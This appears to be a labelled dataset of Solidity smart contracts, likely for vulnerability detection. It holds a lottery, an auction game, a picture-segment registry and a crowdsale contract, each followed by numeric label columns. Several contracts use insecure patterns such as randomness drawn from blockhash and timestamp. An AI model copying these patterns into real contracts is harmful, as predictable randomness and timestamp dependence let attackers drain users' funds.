((uint256(keccak256(abi.encodePacked(block.blockhash(block.number - 6))))) / (block.timestamp))
))) % issued_numbers;
}
function bet(uint256 _amount) private
{
if (block.number != drawnBlockNumber
&& curRoundID > drawnRoundID
&& rounds[drawnRoundID + 1].count == issued_numbers
&& block.number >= rounds[drawnRoundID + 1].blockNumber + 7)
{
drawnBlockNumber = block.number;
drawnRoundID += 1;
rounds[drawnRoundID].winningNumber = drawNumber();
rounds[drawnRoundID].state = DataSet.RoundState.DRAWN;
rounds[drawnRoundID].drawBlockNumber = drawnBlockNumber;
emit onDraw(block.timestamp, drawnBlockNumber, drawnRoundID, rounds[drawnRoundID].winningNumber);
}
uint256 amount = _amount;
while (true)
{
uint256 max = issued_numbers - rounds[curRoundID].count;
uint256 available = amount.div(PRICE).min(max);
if (available == 0)
{
if (amount != 0)
{
rounds[curRoundID].pond += amount;
}
break;
}
uint256[] storage numbers = playerNumbers[curRoundID][msg.sender];
uint256 begin = rounds[curRoundID].count;
uint256 end = begin + available - 1;
uint256 compressedNumber = NumberCompressor.encode(begin, end, issued_numbers);
numbers.push(compressedNumber);
rounds[curRoundID].pond += available.mul(PRICE);
rounds[curRoundID].count += available;
amount -= available.mul(PRICE);
emit onBet(msg.sender, block.timestamp, curRoundID, begin, end);
if (rounds[curRoundID].count == issued_numbers)
{
rounds[curRoundID].blockNumber = block.number;
rounds[curRoundID].state = DataSet.RoundState.STOPPED;
curRoundID += 1;
rounds[curRoundID].state = DataSet.RoundState.STARTED;
rounds[curRoundID].timestamp = block.timestamp;
emit onStartRunnd(block.timestamp, curRoundID);
}
}
}
function assign(uint256 _roundID) external isHuman() isInitialized()
{
assign2(msg.sender, _roundID);
}
function assign2(address _player, uint256 _roundID) public isHuman() isInitialized()
{
require(rounds[_roundID].state == DataSet.RoundState.DRAWN, "it's not time for assigning");
uint256[] memory numbers = playerNumbers[_roundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 targetNumber = rounds[_roundID].winningNumber;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 start, uint256 end) = NumberCompressor.decode(numbers[i]);
if (targetNumber >= start && targetNumber <= end)
{
uint256 fund = rounds[_roundID].pond.sub(bonus);
_player.transfer(bonus);
platform.transfer(fund);
rounds[_roundID].state = DataSet.RoundState.ASSIGNED;
rounds[_roundID].winner = _player;
emit onAssign(msg.sender, block.timestamp, _player, _roundID, rounds[_roundID].pond, bonus, fund);
break;
}
}
}
function refund() external isHuman() isInitialized()
{
refund2(msg.sender);
}
function refund2(address _player) public isInitialized() isHuman()
{
require(block.timestamp.sub(rounds[curRoundID].timestamp) >= MAX_DURATION, "it's not time for refunding");
uint256[] storage numbers = playerNumbers[curRoundID][_player];
require(numbers.length > 0, "player did not involve in");
uint256 count = 0;
for (uint256 i = 0; i < numbers.length; i ++)
{
(uint256 begin, uint256 end) = NumberCompressor.decode(numbers[i]);
count += (end - begin + 1);
}
uint256 amount = count.mul(PRICE).mul(REFUND_RATE).div(100);
rounds[curRoundID].pond = rounds[curRoundID].pond.sub(amount);
_player.transfer(amount);
emit onRefund(msg.sender, block.timestamp, _player, count, amount);
rounds[curRoundID].count -= count;
if (rounds[curRoundID].count == 0)
{
uint256 last = rounds[curRoundID].pond;
platform.transfer(last);
rounds[curRoundID].pond = 0;
emit onLastRefund(msg.sender, block.timestamp, platform, last);
}
}
function getPlayerRoundNumbers(uint256 _roundID, address _palyer) public view returns(uint256[])
{
return playerNumbers[_roundID][_palyer];
}
function getRoundInfo(uint256 _roundID) public view
returns(uint256, uint256, uint256, uint256, uint256, uint256, address)
{
return (
rounds[_roundID].count,
rounds[_roundID].blockNumber,
rounds[_roundID].drawBlockNumber,
uint256(rounds[_roundID].state),
rounds[_roundID].pond,
rounds[_roundID].winningNumber,
rounds[_roundID].winner
);
}
function gameInfo() public view
returns(bool, uint256, uint256, uint256, uint256)
{
return (
initialized,
bonus,
issued_numbers,
curRoundID,
drawnRoundID
);
}
}
contract Proxy {
function implementation() public view returns (address);
function () public payable {
address _impl = implementation();
require(_impl != address(0), "address invalid");
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
let size := returndatasize
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract UpgradeabilityProxy is Proxy {
event Upgraded(address indexed implementation);
bytes32 private constant implementationPosition = keccak256("you are the lucky man.proxy");
constructor() public {}
function implementation() public view returns (address impl) {
bytes32 position = implementationPosition;
assembly {
impl := sload(position)
}
}
function setImplementation(address newImplementation) internal {
bytes32 position = implementationPosition;
assembly {
sstore(position, newImplementation)
}
}
function _upgradeTo(address newImplementation) internal {
address currentImplementation = implementation();
require(currentImplementation != newImplementation, "new address is the same");
setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
}
contract OwnedUpgradeabilityProxy is UpgradeabilityProxy {
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
bytes32 private constant proxyOwnerPosition = keccak256("you are the lucky man.proxy.owner");
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner(), "owner only");
_;
}
function proxyOwner() public view returns (address owner) {
bytes32 position = proxyOwnerPosition;
assembly {
owner := sload(position)
}
}
function setUpgradeabilityOwner(address newProxyOwner) internal {
bytes32 position = proxyOwnerPosition;
assembly {
sstore(position, newProxyOwner)
}
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0), "address is invalid");
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
function upgradeTo(address implementation) public onlyProxyOwner {
_upgradeTo(implementation);
}
function upgradeToAndCall(address implementation, bytes data) public payable onlyProxyOwner {
upgradeTo(implementation);
require(address(this).call.value(msg.value)(data), "data is invalid");
}
} | 0 | 710 |
pragma solidity ^0.4.17;
contract OracleBase {
function getRandomUint(uint max) public returns (uint);
function getRandomForContract(uint max, uint index) public view returns (uint);
function getEtherDiceProfit(uint rate) public view returns (uint);
function getRandomUint256(uint txId) public returns (uint256);
function getRandomForContractClanwar(uint max, uint index) public view returns (uint);
}
contract ContractOwner {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Etherauction is ContractOwner {
using SafeMath for uint256;
constructor() public payable {
owner = msg.sender;
gameId = 1;
gameStartTime = block.timestamp;
gameLastAuctionMoney = 10**15;
gameLastAuctionTime = block.timestamp;
gameSecondLeft = _getInitAuctionSeconds();
}
function adminAddMoney() public payable {
reward = reward + msg.value * 80 / 100;
nextReward = nextReward + msg.value * 20 / 100;
Contributor memory c;
contributors[gameId].push(c);
contributors[gameId][contributors[gameId].length - 1].addr = owner;
contributors[gameId][contributors[gameId].length - 1].money = msg.value * 80 / 100;
}
function addAuctionReward() public payable {
uint256 minBid = getMinAuctionValue();
if (msg.value < minBid)
revert('value error');
uint value = msg.value - minBid;
reward = reward + value * 98 / 100;
nextReward = nextReward + value * 2 / 100;
Contributor memory c;
contributors[gameId].push(c);
contributors[gameId][contributors[gameId].length - 1].addr = msg.sender;
contributors[gameId][contributors[gameId].length - 1].money = msg.value - minBid;
if (!_isUserInGame(msg.sender)) {
_auction(minBid, address(0x00));
}
}
uint256 gameId;
uint256 gameStartTime;
uint256 gameLastAuctionTime;
uint256 gameLastAuctionMoney;
uint256 gameSecondLeft;
uint256 reward;
uint256 dividends;
uint256 nextReward;
uint256 dividendForDev;
uint256 dividendForContributor;
function _inMoney(uint _m, address invitorAddr) internal {
if (invitorAddr != 0x00 && _isUserInGame(invitorAddr)) {
shareds[gameId][invitorAddr].addr = invitorAddr;
shareds[gameId][invitorAddr].money = shareds[gameId][invitorAddr].money + _m * 1 / 100;
dividends = dividends + _m * 6 / 100;
dividendForDev = dividendForDev + _m * 1 / 100;
dividendForContributor = dividendForContributor + _m * 3 / 100;
reward = reward + _m * 2 / 100;
nextReward = nextReward + _m * 4 / 100;
} else {
dividends = dividends + _m * 7 / 100;
dividendForDev = dividendForDev + _m * 1 / 100;
dividendForContributor = dividendForContributor + _m * 3 / 100;
reward = reward + _m * 2 / 100;
nextReward = nextReward + _m * 4 / 100;
}
}
function _startNewRound(address _addr) internal {
reward = nextReward * 80 / 100;
nextReward = nextReward * 20 / 100;
gameId = gameId + 1;
dividends = 0;
gameStartTime = block.timestamp;
gameLastAuctionTime = block.timestamp;
uint256 price = _getMinAuctionStartPrice();
reward = reward.sub(price);
PlayerAuction memory p;
gameAuction[gameId].push(p);
gameAuction[gameId][0].addr = _addr;
gameAuction[gameId][0].money = price;
gameAuction[gameId][0].bid = price;
gameAuction[gameId][0].refunded = false;
gameAuction[gameId][0].dividended = false;
gameLastAuctionMoney = price;
gameSecondLeft = _getInitAuctionSeconds();
Contributor memory c;
contributors[gameId].push(c);
contributors[gameId][0].addr = owner;
contributors[gameId][0].money = reward;
emit GameAuction(gameId, _addr, price, price, gameSecondLeft, block.timestamp);
}
function adminPayout() public onlyOwner {
owner.transfer(dividendForDev);
dividendForDev = 0;
}
struct GameData {
uint256 gameId;
uint256 reward;
uint256 dividends;
uint256 dividendForContributor;
}
GameData[] gameData;
struct PlayerAuction {
address addr;
uint256 money;
uint256 bid;
bool refunded;
bool dividended;
}
mapping(uint256 => PlayerAuction[]) gameAuction;
struct Contributor {
address addr;
uint256 money;
}
mapping(uint256 => Contributor[]) contributors;
struct Shared {
address addr;
uint256 money;
}
mapping(uint256 => mapping(address => Shared)) shareds;
event GameAuction(uint indexed gameId, address player, uint money, uint auctionValue, uint secondsLeft, uint datetime);
event GameRewardClaim(uint indexed gameId, address indexed player, uint money);
event GameRewardRefund(uint indexed gameId, address indexed player, uint money);
event GameEnd(uint indexed gameId, address indexed winner, uint money, uint datetime);
event GameInvited(uint indexed gameId, address player, uint money);
mapping(address => address) public inviteMap;
function registerInvitor(address msgSender, address invitor) internal {
if (invitor == 0x0 || msgSender == 0x0) {
return;
}
inviteMap[msgSender] = invitor;
}
function getInvitor(address msgSender) internal view returns (address){
return inviteMap[msgSender];
}
function getMinAuctionValue() public view returns (uint256) {
uint256 gap = _getGameAuctionGap();
uint256 auctionValue = gap + gameLastAuctionMoney;
return auctionValue;
}
function auction(address invitorAddr) public payable {
_auction(msg.value, invitorAddr);
}
function _auction(uint256 value, address invitorAddr) internal {
bool ended = (block.timestamp > gameLastAuctionTime + gameSecondLeft) ? true: false;
if (ended) {
revert('this round end!!!');
}
uint256 len = gameAuction[gameId].length;
if (len > 1) {
address bidder = gameAuction[gameId][len - 1].addr;
if (msg.sender == bidder)
revert("wrong action");
}
uint256 gap = _getGameAuctionGap();
uint256 auctionValue = gap + gameLastAuctionMoney;
uint256 maxAuctionValue = 3 * gap + gameLastAuctionMoney;
if (value < auctionValue) {
revert("wrong eth value!");
}
if (invitorAddr != 0x00) {
registerInvitor(msg.sender, invitorAddr);
} else
invitorAddr = getInvitor(msg.sender);
if (value >= maxAuctionValue) {
auctionValue = maxAuctionValue;
} else {
auctionValue = value;
}
gameLastAuctionMoney = auctionValue;
_inMoney(auctionValue, invitorAddr);
gameLastAuctionTime = block.timestamp;
gameSecondLeft = _getMaxAuctionSeconds();
PlayerAuction memory p;
gameAuction[gameId].push(p);
gameAuction[gameId][gameAuction[gameId].length - 1].addr = msg.sender;
gameAuction[gameId][gameAuction[gameId].length - 1].money = value;
gameAuction[gameId][gameAuction[gameId].length - 1].bid = auctionValue;
gameAuction[gameId][gameAuction[gameId].length - 1].refunded = false;
gameAuction[gameId][gameAuction[gameId].length - 1].dividended = false;
emit GameAuction(gameId, msg.sender, value, auctionValue, gameSecondLeft, block.timestamp);
}
function claimReward(uint256 _id) public {
_claimReward(msg.sender, _id);
}
function _claimReward(address _addr, uint256 _id) internal {
if (_id == gameId) {
bool ended = (block.timestamp > gameLastAuctionTime + gameSecondLeft) ? true: false;
if (ended == false)
revert('game is still on, cannot claim reward');
}
uint _reward = 0;
uint _dividends = 0;
uint _myMoney = 0;
uint _myDividends = 0;
uint _myRefund = 0;
uint _myReward = 0;
bool _claimed = false;
(_myMoney, _myDividends, _myRefund, _myReward, _claimed) = _getGameInfoPart1(_addr, _id);
(_reward, _dividends) = _getGameInfoPart2(_id);
uint256 contributeValue = 0;
uint256 sharedValue = 0;
(contributeValue, sharedValue) = _getGameInfoPart3(_addr, _id);
if (_claimed)
revert('already claimed!');
for (uint k = 0; k < gameAuction[_id].length; k++) {
if (gameAuction[_id][k].addr == _addr) {
gameAuction[_id][k].dividended = true;
}
}
_addr.transfer(_myDividends + _myRefund + _myReward + contributeValue + sharedValue);
emit GameRewardClaim(_id, _addr, _myDividends + _myRefund + _myReward);
}
function refund() public {
uint256 len = gameAuction[gameId].length;
if (len > 1) {
if (msg.sender != gameAuction[gameId][len - 2].addr
&& msg.sender != gameAuction[gameId][len - 1].addr) {
uint256 money = 0;
uint k = 0;
for (k = 0; k < gameAuction[gameId].length; k++) {
if (gameAuction[gameId][k].addr == msg.sender && gameAuction[gameId][k].refunded == false) {
money = money + gameAuction[gameId][k].bid * 83 / 100 + gameAuction[gameId][k].money;
gameAuction[gameId][k].refunded = true;
}
}
k = 0;
for (k = 0; k < contributors[gameId].length; k++) {
if (contributors[gameId][k].addr == msg.sender) {
contributors[gameId][k].money = 0;
}
}
if (shareds[gameId][msg.sender].money > 0) {
dividends = dividends + shareds[gameId][msg.sender].money;
delete shareds[gameId][msg.sender];
}
msg.sender.transfer(money);
emit GameRewardRefund(gameId, msg.sender, money);
} else {
revert('cannot refund because you are no.2 bidder');
}
}
}
function gameRoundEnd() public {
bool ended = (block.timestamp > gameLastAuctionTime + gameSecondLeft) ? true: false;
if (ended == false)
revert("game cannot end");
uint256 len = gameAuction[gameId].length;
address winner = gameAuction[gameId][len - 1].addr;
GameData memory d;
gameData.push(d);
gameData[gameData.length - 1].gameId = gameId;
gameData[gameData.length - 1].reward = reward;
gameData[gameData.length - 1].dividends = dividends;
gameData[gameData.length - 1].dividendForContributor = dividendForContributor;
_startNewRound(msg.sender);
_claimReward(msg.sender, gameId - 1);
emit GameEnd(gameId - 1, winner, gameData[gameData.length - 1].reward, block.timestamp);
}
function getCurrCanRefund() public view returns (bool) {
if (gameAuction[gameId].length > 1) {
if (msg.sender == gameAuction[gameId][gameAuction[gameId].length - 2].addr) {
return false;
} else if (msg.sender == gameAuction[gameId][gameAuction[gameId].length - 1].addr) {
return false;
}
return true;
} else {
return false;
}
}
function getCurrGameInfoPart2() public view returns (uint256 _myContributeMoney, uint256 _mySharedMoney) {
(_myContributeMoney, _mySharedMoney) = _getGameInfoPart3(msg.sender, gameId);
}
function getCurrGameInfoPart1() public view returns (uint256 _gameId,
uint256 _reward,
uint256 _dividends,
uint256 _lastAuction,
uint256 _gap,
uint256 _lastAuctionTime,
uint256 _secondsLeft,
uint256 _myMoney,
uint256 _myDividends,
uint256 _myRefund,
bool _ended) {
_gameId = gameId;
_reward = reward;
_dividends = dividends;
_lastAuction = gameLastAuctionMoney;
_gap = _getGameAuctionGap();
_lastAuctionTime = gameLastAuctionTime;
_secondsLeft = gameSecondLeft;
_ended = (block.timestamp > _lastAuctionTime + _secondsLeft) ? true: false;
uint256 _moneyForCal = 0;
if (gameAuction[gameId].length > 1) {
uint256 totalMoney = 0;
for (uint256 i = 0; i < gameAuction[gameId].length; i++) {
if (gameAuction[gameId][i].addr == msg.sender && gameAuction[gameId][i].dividended == true) {
}
if (gameAuction[gameId][i].addr == msg.sender && gameAuction[gameId][i].refunded == false) {
if ((i == gameAuction[gameId].length - 2) || (i == gameAuction[gameId].length - 1)) {
_myRefund = _myRefund.add(gameAuction[gameId][i].money).sub(gameAuction[gameId][i].bid);
} else {
_myRefund = _myRefund.add(gameAuction[gameId][i].money).sub(gameAuction[gameId][i].bid.mul(17).div(100));
}
_myMoney = _myMoney + gameAuction[gameId][i].money;
_moneyForCal = _moneyForCal.add((gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId].length + 1 - i));
}
if (gameAuction[gameId][i].refunded == false) {
totalMoney = totalMoney.add((gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId][i].money.div(10**15)).mul(gameAuction[gameId].length + 1 - i));
}
}
if (totalMoney != 0)
_myDividends = _moneyForCal.mul(_dividends).div(totalMoney);
}
}
function getGameDataByIndex(uint256 _index) public view returns (uint256 _id, uint256 _reward, uint256 _dividends) {
uint256 len = gameData.length;
if (len >= (_index + 1)) {
GameData memory d = gameData[_index];
_id = d.gameId;
_reward = d.reward;
_dividends = d.dividends;
}
}
function getGameInfo(uint256 _id) public view returns (uint256 _reward, uint256 _dividends, uint256 _myMoney, uint256 _myDividends, uint256 _myRefund, uint256 _myReward, uint256 _myInvestIncome, uint256 _myShared, bool _claimed) {
(_reward, _dividends) = _getGameInfoPart2(_id);
(_myMoney, _myRefund, _myDividends, _myReward, _claimed) = _getGameInfoPart1(msg.sender, _id);
(_myInvestIncome, _myShared) = _getGameInfoPart3(msg.sender, _id);
}
function _getGameInfoPart1(address _addr, uint256 _id) internal view returns (uint256 _myMoney, uint256 _myRefund, uint256 _myDividends, uint256 _myReward, bool _claimed) {
uint256 totalMoney = 0;
uint k = 0;
if (_id == gameId) {
} else {
for (uint256 i = 0; i < gameData.length; i++) {
GameData memory d = gameData[i];
if (d.gameId == _id) {
if (gameAuction[d.gameId].length > 1) {
if (gameAuction[d.gameId][gameAuction[d.gameId].length - 1].addr == _addr) {
_myReward = d.reward;
_myReward = _myReward + gameAuction[d.gameId][gameAuction[d.gameId].length - 2].bid;
}
totalMoney = 0;
uint256 _moneyForCal = 0;
for (k = 0; k < gameAuction[d.gameId].length; k++) {
if (gameAuction[d.gameId][k].addr == _addr && gameAuction[d.gameId][k].dividended == true) {
_claimed = true;
}
if (gameAuction[d.gameId][k].addr == _addr && gameAuction[d.gameId][k].refunded == false && k != (gameAuction[d.gameId].length - 2)) {
_myRefund = _myRefund.add( gameAuction[d.gameId][k].money.sub( gameAuction[d.gameId][k].bid.mul(17).div(100) ) );
_moneyForCal = _moneyForCal.add( (gameAuction[d.gameId][k].money.div(10**15)).mul( gameAuction[d.gameId][k].money.div(10**15) ).mul( gameAuction[d.gameId].length + 1 - k) );
_myMoney = _myMoney.add(gameAuction[d.gameId][k].money);
}
if (gameAuction[d.gameId][k].refunded == false && k != (gameAuction[d.gameId].length - 2)) {
totalMoney = totalMoney.add( ( gameAuction[d.gameId][k].money.div(10**15) ).mul( gameAuction[d.gameId][k].money.div(10**15) ).mul( gameAuction[d.gameId].length + 1 - k) );
}
}
if (totalMoney != 0)
_myDividends = d.dividends.mul(_moneyForCal).div(totalMoney);
}
break;
}
}
}
}
function _getGameInfoPart2(uint256 _id) internal view returns (uint256 _reward, uint256 _dividends) {
if (_id == gameId) {
} else {
for (uint256 i = 0; i < gameData.length; i++) {
GameData memory d = gameData[i];
if (d.gameId == _id) {
_reward = d.reward;
_dividends = d.dividends;
break;
}
}
}
}
function _getGameInfoPart3(address addr, uint256 _id) public view returns (uint256 _contributeReward, uint256 _shareReward) {
uint256 contributeDividend = 0;
uint256 total = 0;
uint256 money = 0;
uint256 i = 0;
if (_id == gameId) {
contributeDividend = dividendForContributor;
} else {
for (i = 0; i < gameData.length; i++) {
GameData memory d = gameData[i];
if (d.gameId == _id) {
contributeDividend = d.dividendForContributor;
break;
}
}
}
for (i = 0; i < contributors[_id].length; i++) {
total = total + contributors[_id][i].money;
if (contributors[_id][i].addr == addr) {
money = money + contributors[_id][i].money;
}
}
if (total > 0)
_contributeReward = contributeDividend.mul(money).div(total);
_shareReward = shareds[_id][addr].money;
}
function getCurrTotalInvest() public view returns (uint256 invest) {
for (uint i = 0; i < contributors[gameId].length; i++) {
if (contributors[gameId][i].addr == msg.sender) {
invest = invest + contributors[gameId][i].money;
}
}
}
function _isUserInGame(address addr) internal view returns (bool) {
uint256 k = 0;
for (k = 0; k < gameAuction[gameId].length; k++) {
if (gameAuction[gameId][k].addr == addr && gameAuction[gameId][k].refunded == false) {
return true;
}
}
return false;
}
function _getGameStartAuctionMoney() internal pure returns (uint256) {
return 10**15;
}
function _getGameAuctionGap() internal view returns (uint256) {
if (gameLastAuctionMoney < 10**18) {
return 10**15;
}
uint256 n = 17;
for (n = 18; n < 200; n ++) {
if (gameLastAuctionMoney >= 10**n && gameLastAuctionMoney < 10**(n + 1)) {
break;
}
}
return 10**(n-2);
}
function _getMinAuctionSeconds() internal pure returns (uint256) {
return 30 * 60;
}
function _getMaxAuctionSeconds() internal pure returns (uint256) {
return 24 * 60 * 60;
}
function _getInitAuctionSeconds() internal pure returns (uint256) {
return 3 * 24 * 60 * 60;
}
function _getMinAuctionStartPrice() internal view returns (uint256) {
if (reward < 10**18) {
return 10**15;
}
uint256 n = 17;
for (n = 18; n < 200; n ++) {
if (reward >= 10**n && reward < 10**(n + 1)) {
break;
}
}
return 10**(n-2);
}
} | 0 | 1,039 |
pragma solidity 0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() { require(msg.sender == owner); _; }
function Ownable() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
OwnershipTransferred(owner, newOwner);
}
}
contract Manageable is Ownable {
mapping(address => bool) public managers;
event ManagerAdded(address indexed manager);
event ManagerRemoved(address indexed manager);
modifier onlyManager() { require(managers[msg.sender]); _; }
function addManager(address _manager) onlyOwner public {
require(_manager != address(0));
managers[_manager] = true;
ManagerAdded(_manager);
}
function removeManager(address _manager) onlyOwner public {
require(_manager != address(0));
managers[_manager] = false;
ManagerRemoved(_manager);
}
}
contract TilcoinStorage is Manageable {
struct Picture {
string hash;
uint32 rows;
uint32 cols;
uint32 width;
uint32 height;
string image;
string name;
string author;
}
struct Segment {
uint32 row;
uint32 col;
string hash;
string image;
string email;
string login;
}
mapping(bytes32 => Picture) public pictures;
mapping(bytes32 => mapping(uint32 => mapping(uint32 => Segment))) public segments;
event AddPicture(bytes32 indexed hash, uint32 rows, uint32 cols, uint32 width, uint32 height, string image, string name, string author);
event SetSegment(bytes32 indexed picture, uint32 indexed row, uint32 indexed col, bytes32 hash, string image);
event SegmentOwner(bytes32 indexed picture, uint32 indexed row, uint32 indexed col, string email, string login);
function TilcoinStorage() public {
addManager(msg.sender);
addManager(0x209eba96c917871f78671a3ed3503ecc4144495c);
}
function addPicture(string _hash, uint32 _rows, uint32 _cols, uint32 _width, uint32 _height, string _image, string _name, string _author) onlyManager public returns(bool success) {
bytes32 key = str_to_bytes32(_hash);
require(!(pictures[key].rows > 0));
require(_rows > 0 && _cols > 0 && _width > 0 && _height > 0);
pictures[key] = Picture({
hash: _hash,
rows: _rows,
cols: _cols,
width: _width,
height: _height,
image: _image,
name: _name,
author: _author
});
AddPicture(key, _rows, _cols, _width, _height, _image, _name, _author);
return true;
}
function setSegment(string _picture, uint32 _row, uint32 _col, string _hash, string _image, string _email, string _login) onlyManager public returns(bool success) {
bytes32 key = str_to_bytes32(_picture);
require(pictures[key].rows > 0);
require(_row > 0 && _col > 0 && _row <= pictures[key].rows && _col <= pictures[key].cols);
require(!(segments[key][_row][_col].row > 0));
segments[key][_row][_col] = Segment({
row: _row,
col: _col,
hash: _hash,
image: _image,
email: _email,
login: _login
});
SetSegment(key, _row, _col, str_to_bytes32(_hash), _image);
SegmentOwner(key, _row, _col, _email, _login);
return true;
}
function setSegmentOwner(string _picture, uint32 _row, uint32 _col, string _email, string _login) onlyManager public returns(bool success) {
bytes32 key = str_to_bytes32(_picture);
require(pictures[key].rows > 0);
require(_row > 0 && _col > 0 && _row <= pictures[key].rows && _col <= pictures[key].cols);
require(segments[key][_row][_col].row > 0);
segments[key][_row][_col].email = _email;
segments[key][_row][_col].login = _login;
SegmentOwner(key, _row, _col, _email, _login);
return true;
}
function str_to_bytes32(string memory source) private pure returns(bytes32 result) {
bytes memory tempEmptyStringTest = bytes(source);
if(tempEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
} | 1 | 4,319 |
pragma solidity ^0.4.8;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLibExt {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function divides(uint a, uint b) returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20Ext is ERC20 {
uint public decimals;
uint public minCap;
}
contract CrowdsaleExt is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLibExt for uint;
FractionalERC20Ext public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public isWhiteListed;
address[] public joinedCrowdsales;
uint public joinedCrowdsalesLen = 0;
address public lastCrowdsale;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
struct WhiteListData {
bool status;
uint minCap;
uint maxCap;
}
bool public isUpdatable;
mapping (address => WhiteListData) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event StartsAtChanged(uint newStartsAt);
event EndsAtChanged(uint newEndsAt);
function CrowdsaleExt(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, bool _isUpdatable, bool _isWhiteListed) {
owner = msg.sender;
token = FractionalERC20Ext(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
isUpdatable = _isUpdatable;
isWhiteListed = _isWhiteListed;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
throw;
} else if(getState() == State.Funding) {
